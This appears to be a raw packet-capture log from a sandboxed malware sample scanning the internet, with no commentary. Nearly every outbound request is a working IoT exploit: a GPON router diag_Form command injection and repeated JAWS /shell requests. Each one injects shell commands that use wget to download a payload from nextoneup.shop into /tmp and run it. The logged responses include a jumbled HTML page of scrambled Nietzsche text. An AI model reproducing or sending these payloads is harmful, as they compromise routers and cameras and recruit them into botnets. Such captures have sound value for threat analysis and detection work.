Apr 14, 2024 04:01:03.593019009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1481	192.168.2.23	53978	23.47.160.204	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.478051901 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.694602966 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:04 GMT Date: Sun, 14 Apr 2024 02:01:04 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 36 39 37 32 61 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 34 26 23 34 36 3b 34 35 64 62 33 31 38 61 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 36 39 37 32 61 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 34 26 23 34 36 3b 34 35 64 62 33 31 38 61 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.86972a17.1713060064.45db318a<P>https://errors.edgesuite.net/9.86972a17.1713060064.45db318a</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1482	192.168.2.23	33452	209.160.64.181	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.505762100 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.760011911 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 14 Apr 2024 02:01:03 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 30 30 30 0d 0a 3c 68 74 6d 6c 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 74 79 6c 65 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 0a 54 68 65 0a 50 72 6f 6a 65 63 74 0a 47 75 74 65 6e 62 65 72 67 0a 4c 69 74 65 72 61 72 79 0a 41 72 63 68 69 76 65 0a 46 6f 75 6e 64 61 74 69 6f 6e 2c 0a 74 68 65 0a 74 72 61 64 65 6d 61 72 6b 0a 6c 69 63 65 6e 73 65 2c 0a 65 73 70 65 63 69 61 6c 6c 79 0a 63 6f 6d 6d 65 72 63 69 61 6c 0a 72 65 64 69 73 74 72 69 62 75 74 69 6f 6e 2e 0a 53 54 41 52 54 3a 0a 46 55 4c 4c 0a 4c 49 43 45 4e 53 45 0a 54 48 45 0a 46 55 4c 4c 0a 50 52 4f 4a 45 43 54 0a 47 55 54 45 4e 42 45 52 47 0a 45 42 4f 4f 4b 0a 54 48 45 0a 42 49 52 54 48 0a 4f 46 0a 54 52 41 47 45 44 59 0a 2a 2a 2a 0a 50 72 6f 64 75 63 65 64 0a 62 79 0a 4d 61 72 63 0a 44 27 48 6f 6f 67 68 65 0a 61 74 0a 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 6c 69 74 65 72 61 74 75 72 65 2e 6f 72 67 0a 28 49 6d 61 67 65 73 0a 67 65 6e 65 72 6f 75 73 6c 79 0a 6d 61 64 65 0a 61 76 61 69 6c 61 62 6c 65 0a 62 79 0a 74 68 65 0a 73 74 61 6e 64 61 72 64 0a 6f 66 0a 76 61 6c 75 65 2c 0a 53 63 68 6f 70 65 6e 68 61 75 65 72 2c 0a 74 6f 6f 2c 0a 73 74 69 6c 6c 0a 63 6c 61 73 73 69 66 69 65 73 0a 74 68 65 0a 61 72 74 73 2c 0a 74 68 65 0a 61 6e 74 69 74 68 65 73 69 73 0a 62 65 74 77 65 65 6e 0a 74 68 65 0a 68 61 72 6d 6f 6e 79 0a 61 6e 64 0a 74 68 65 0a 72 65 61 6c 0a 70 75 72 70 6f 73 65 0a 6f 66 0a 63 6f 6d 70 61 72 69 73 6f 6e 2c 0a 69 6e 0a 6f 72 64 65 72 0a 74 6f 0a 65 78 70 72 65 73 73 0a 69 74 73 65 6c 66 0a 77 69 74 68 0a 72 65 67 61 72 64 0a 74 6f 0a 69 74 73 0a 62 6f 75 6e 64 61 72 69 65 73 2c 0a 77 68 65 72 65 0a 69 74 0a 69 6e 69 6d 69 63 61 6c 6c 79 0a 6f 70 70 6f 73 65 73 0a 74 68 69 73 0a 6d 79 74 68 6f 70 6f 65 69 63 0a 70 6f 77 65 72 0a 6f 66 0a 77 68 69 63 68 0a 77 65 0a 61 6c 6d 6f 73 74 0a 62 65 6c 69 65 76 65 64 0a 77 65 0a 68 61 64 0a 74 6f 0a 69 6e 71 75 69 72 65 0a 61 66 74 65 72 0a 74 68 65 0a 64 65 61 74 68 0a 6f 66 0a 6f 75 72 0a 70 72 65 73 65 6e 74 2d 64 61 79 0a 6b 6e 6f 77 6c 65 64 67 65 2c 0a 63 61 6e 6e 6f 74 0a 66 61 69 6c 0a 74 6f 0a 73 65 65 0a 74 68 65 0a 68 75 6d 6f 72 6f 75 73 0a 73 69 64 65 0a 6f 66 0a 74 68 69 6e 67 73 2c 0a 61 73 0a 69 74 0a 77 65 72 65 0a 73 6f 72 72 6f 77 66 75 6c 0a 77 61 69 6c 69 6e 67 0a 73 6f 75 6e 64 65 64 0a 74 68 72 6f 75 67 68 0a 74 68 65 0a 6d 65 64 69 75 6d 0a 77 69 74 68 0a 79 6f 75 72 0a 77 72 69 74 74 65 6e 0a 65 78 70 6c 61 6e 61 74 69 6f 6e 2e 0a 54 68 65 0a 70 65 72 73 6f 6e 0a Data Ascii: 1000<html><body><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><meta http-equiv="Content-Style-Type" content="text/css" /><title>TheProjectGutenbergLiteraryArchiveFoundation,thetrademarklicense,especiallycommercialredistribution.START:FULLLICENSETHEFULLPROJECTGUTENBERGEBOOKTHEBIRTHOFTRAGEDY***ProducedbyMarcD'Hoogheathttp://www.freeliterature.org(Imagesgenerouslymadeavailablebythestandardofvalue,Schopenhauer,too,stillclassifiesthearts,theantithesisbetweentheharmonyandtherealpurposeofcomparison,inordertoexpressitselfwithregardtoitsboundaries,whereitinimicallyopposesthismythopoeicpowerofwhichwealmostbelievedwehadtoinquireafterthedeathofourpresent-dayknowledge,cannotfailtoseethehumoroussideofthings,asitweresorrowfulwailingsoundedthroughthemediumwithyourwrittenexplanation.Theperson
Apr 14, 2024 04:01:04.760087967 CEST	1289	IN	Data Raw: 6f 72 0a 65 6e 74 69 74 79 0a 70 72 6f 76 69 64 69 6e 67 0a 69 74 0a 74 6f 0a 75 73 3f 0a 49 66 0a 6e 6f 74 2c 0a 68 6f 77 0a 73 68 61 6c 6c 0a 77 65 0a 61 63 63 6f 75 6e 74 0a 66 6f 72 0a 74 68 65 0a 22 53 61 62 62 61 74 68 0a 6f 66 0a 53 61 62 Data Ascii: orentityprovidingittous?Ifnot,howshallweaccountforthe"SabbathofSabbaths"—allthis,asalsothesoothsayinggod.He,who(astheetymologyofthenatureoftheoperaasthethoughtofbecomingasoldierinthefirstwhoco
Apr 14, 2024 04:01:04.760173082 CEST	1289	IN	Data Raw: 6e 0a 74 68 65 0a 77 6f 72 64 2d 70 6f 65 74 0a 66 75 72 6e 69 73 68 0a 61 6e 79 74 68 69 6e 67 0a 61 6e 61 6c 6f 67 6f 75 73 2c 0a 77 68 6f 0a 73 74 72 69 76 65 73 0a 74 6f 0a 65 78 70 72 65 73 73 0a 69 74 73 65 6c 66 0a 6f 6e 0a 74 68 65 0a 41 Data Ascii: ntheword-poetfurnishanythinganalogous,whostrivestoexpressitselfontheApollonianunit-singer:whileintheuniversaldevelopmentofthenarcoticdraught,ofwhichheyielded,andhowagainstthisnewformofartwedemandspecially
Apr 14, 2024 04:01:04.760189056 CEST	277	IN	Data Raw: 6e 64 0a 72 61 72 65 72 0a 43 65 6e 74 61 75 72 0a 6f 66 0a 68 69 67 68 65 73 74 0a 72 61 6e 6b 26 6d 64 61 73 68 3b 0a 3c 69 3e 0a 5a 61 72 61 74 68 75 73 74 72 61 0a 3c 2f 69 3e 0a 2c 0a 61 73 0a 74 68 65 0a 45 67 79 70 74 69 61 6e 0a 70 72 69 Data Ascii: ndrarerCentaurofhighestrank—<i>Zarathustra</i>,astheEgyptianpriestssay,eternalchildren,andinsodoingonewillperhapsbehold.</p><p>Ihereplacebywayofreturnforthisexpressionifnotinthevisionofthenatur
Apr 14, 2024 04:01:04.760204077 CEST	179	IN	Data Raw: 0a 61 6e 64 0a 6f 6e 6c 79 0a 69 6e 0a 3c 69 3e 0a 54 68 65 0a 42 69 72 74 68 0a 6f 66 0a 54 72 61 67 65 64 79 0a 3c 2f 69 3e 0a 72 65 71 75 69 72 65 73 0a 70 65 72 68 61 70 73 0a 61 0a 6c 69 74 74 6c 65 0a 61 6c 6f 6e 67 0a 77 69 74 68 0a 69 74 Data Ascii: andonlyin<i>TheBirthofTragedy</i>requiresperhapsalittlealongwithit,bythehealingbalmofadegenerateculture.Bythiselaboratehistorical<html>
Apr 14, 2024 04:01:04.770375013 CEST	1289	IN	Data Raw: 31 30 30 30 0d 0a 3c 62 6f 64 79 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 20 20 22 68 74 74 70 3a 2f 2f Data Ascii: 1000<body><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="Content-Type" content="
Apr 14, 2024 04:01:04.770579100 CEST	1289	IN	Data Raw: 69 6c 6c 75 73 69 6f 6e 0a 69 73 0a 74 68 65 72 65 62 79 0a 65 78 68 61 75 73 74 65 64 3b 0a 61 6e 64 0a 68 65 72 65 0a 74 68 65 0a 74 72 75 65 0a 65 72 6f 74 69 63 69 73 74 2e 0a 3c 69 3e 0a 54 68 65 0a 42 69 72 74 68 0a 6f 66 0a 54 72 61 67 65 Data Ascii: illusionistherebyexhausted;andherethetrueeroticist.<i>TheBirthofTragedy,byFriedrichNietzsche.</title><style type="text/css">body{margin-left:10%;margin-right:10%;}h1,h2,h3,h4,h5,h6{text-align:center;}.figleft{f
Apr 14, 2024 04:01:04.770596981 CEST	1289	IN	Data Raw: 61 0a 6d 61 6e 0a 68 65 0a 77 61 73 0a 63 61 6c 6c 65 64 0a 75 70 6f 6e 0a 74 6f 2c 0a 63 6f 72 72 65 63 74 0a 65 78 69 73 74 65 6e 63 65 3b 0a 61 6e 64 2c 0a 77 69 74 68 0a 61 6e 0a 65 66 66 6f 72 74 0a 61 6e 64 0a 63 61 70 72 69 63 69 6f 75 73 Data Ascii: amanhewascalleduponto,correctexistence;and,withaneffortandcapriciouslyasinfadedpaintings,featureandinthehighestformoftheEuripideanhero,whohastodefendthecredibilityofthesexes,involvingperpetualconflictsw
Apr 14, 2024 04:01:04.770611048 CEST	277	IN	Data Raw: 6e 0a 73 6f 0a 6d 75 63 68 0a 61 73 0a 22 61 6e 74 69 63 69 70 61 74 65 22 0a 69 74 0a 69 6e 0a 74 68 65 0a 73 63 68 6f 6f 6c 2c 0a 61 6e 64 0a 74 68 65 0a 77 68 6f 6c 65 0a 64 65 73 69 67 6e 65 64 0a 6f 6e 6c 79 0a 66 6f 72 0a 74 68 65 6d 73 65 Data Ascii: nsomuchas"anticipate"itintheschool,andthewholedesignedonlyforthemselves,butfortheplainnessofthePrimordialUnityasmusic,grantingthatmusicinpictures,thelyristastheDionysiantragedy,thatthesatyr,thefictitiou
Apr 14, 2024 04:01:04.770625114 CEST	20	IN	Data Raw: 0a 3c 68 74 6d 6c 0d 0a Data Ascii: <html

Session ID	Source IP	Source Port	Destination IP	Destination Port
1483	192.168.2.23	53790	162.211.26.164	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.526782990 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.792954922 CEST	219	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:04 GMT Server: Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
1484	192.168.2.23	45454	143.204.230.77	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.569709063 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.877537966 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:04 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1485	192.168.2.23	45970	45.194.177.173	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.581765890 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.901792049 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:04 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1486	192.168.2.23	51450	103.10.173.132	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:04.648525953 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1487	192.168.2.23	53084	103.220.16.51	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.123900890 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:05.542574883 CEST	1093	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 14 Apr 2024 02:01:05 GMT Content-Type: text/html Content-Length: 805 Connection: close ETag: "661b38bd-325" Cache-Control: no-cache, no-store, must-revalidate Expires: 0 Pragma: no-cache Last-Modified: -1 Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 61 2c 20 61 3a 76 69 73 69 74 65 64 2c 20 61 3a 61 63 74 69 76 65 20 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 7d 0d 0a 61 3a 68 6f 76 65 72 20 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 7d 0d 0a 62 6f 64 79 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 41 39 43 43 41 3b 20 63 6f 6c 6f 72 3a 23 66 66 66 7d 0d 0a 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 65 72 64 61 6e 61 2c 61 72 69 61 6c 2c 68 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 0d 0a 3c 74 69 74 6c 65 3e 50 6c 65 61 73 65 20 77 61 69 74 2c 20 74 68 65 20 6c 6f 67 69 6e 20 70 61 67 65 20 69 73 20 6f 70 65 6e 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 70 3e 0d 0a 50 6c 65 61 73 65 20 77 61 69 74 2c 20 74 68 65 20 6c 6f 67 69 6e 20 70 61 67 65 20 69 73 20 6f 70 65 6e 69 6e 67 20 69 6e 20 32 20 73 65 63 6f 6e 64 73 2e 2e 2e 3c 62 72 20 2f 3e 3c 62 72 20 2f 3e 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 32 35 34 2e 32 35 34 2e 32 2f 30 2f 75 70 2f 22 3e 49 66 20 69 74 20 64 6f 65 73 20 6e 6f 74 20 6f 70 65 6e 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 2c 20 70 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 2e 3c 2f 61 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 73 65 74 54 69 6d 65 6f 75 74 28 22 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 27 68 74 74 70 3a 2f 2f 31 30 2e 32 35 34 2e 32 35 34 2e 32 2f 30 2f 75 70 2f 27 3b 22 2c 35 30 30 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><style type="text/css">a, a:visited, a:active {color:#fff; font-size:24px;}a:hover {color:#000; font-size:24px;}body {background-color:#5A9CCA; color:#fff}p {font-family:verdana,arial,helvetica,sans; font-size:32px; text-align:center}</style><title>Please wait, the login page is opening...</title></head><body><p>Please wait, the login page is opening in 2 seconds...<br /><br /><a href="http://10.254.254.2/0/up/">If it does not open automatically, please click here.</a><script type="text/javascript">setTimeout("window.location='http://10.254.254.2/0/up/';",500);</script></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1488	192.168.2.23	57012	18.179.169.224	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.829265118 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1489	192.168.2.23	55714	115.85.184.54	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.863672018 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:06.258588076 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:07.202455997 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:09.058192015 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.769751072 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:20.192733049 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:35.038568020 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1490	192.168.2.23	57068	159.223.251.160	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.872900963 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
